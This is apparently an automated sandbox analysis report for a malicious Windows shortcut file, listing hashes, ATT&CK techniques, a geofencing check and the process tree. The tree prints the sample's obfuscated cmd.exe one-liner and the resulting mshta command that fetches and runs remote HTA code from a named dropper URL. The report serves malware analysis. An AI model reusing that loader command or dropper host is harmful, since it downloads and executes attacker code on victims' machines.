2b1464653e92e5184c98269d6d4bf90356f11fb61960988792a4c20741afece2

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 08:34

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General

Target
DOC-V4KLZY.lnk
Size 2KB
Sample260804-kgf2hsbl2w
SHA256 2b1464653e92e5184c98269d6d4bf90356f11fb61960988792a4c20741afece2
MD5 bea614d6360bfa67ebe3b99b70c4e26f
SHA1 4ec2e42c72dd3e6512366135b29350e692835418
SHA512 995c71a51affb87f982e796ae93f556caf49dbcf3d4bcfa71f78da8b5a97b5d74388b2bc0acef2a5bb94b6363e030af534f91b7b11213850f0739d9918320cae
TLSH
T1144187803BD902D5F3BB9E72EDFF275185BBB8548C25CA9E0800810C0522B00E277B7B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1712	cmd.exe
1832	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 1832	1712	cmd.exe	86
PID 1832 wrote to memory of 3336	1832	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-V4KLZY.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1712
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set GgfB=windgfdivlfojwin&set yAKO=infkddrxbknypttrxtinf&set IIT=netspjmvqwrkeitllvzyoshnet&set yBS=syssbscylfsys&set BLrXO=nmu&&set EA=g9eshtak&set ru=cfgrajbsvakecfg&set nici=3st5&&set YO=ctaq&&set RdSR=h6prt0&&set AlkCK=http@s:/@/@m@a@-p@df@f@il@le@[email protected]@/h/es@t@a@gio1.@ph@p?@r=@391@4@69@F@B5D82DB&&start /b !BLrXO:~1,1!!EA:~3,4! !AlkCK:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3336

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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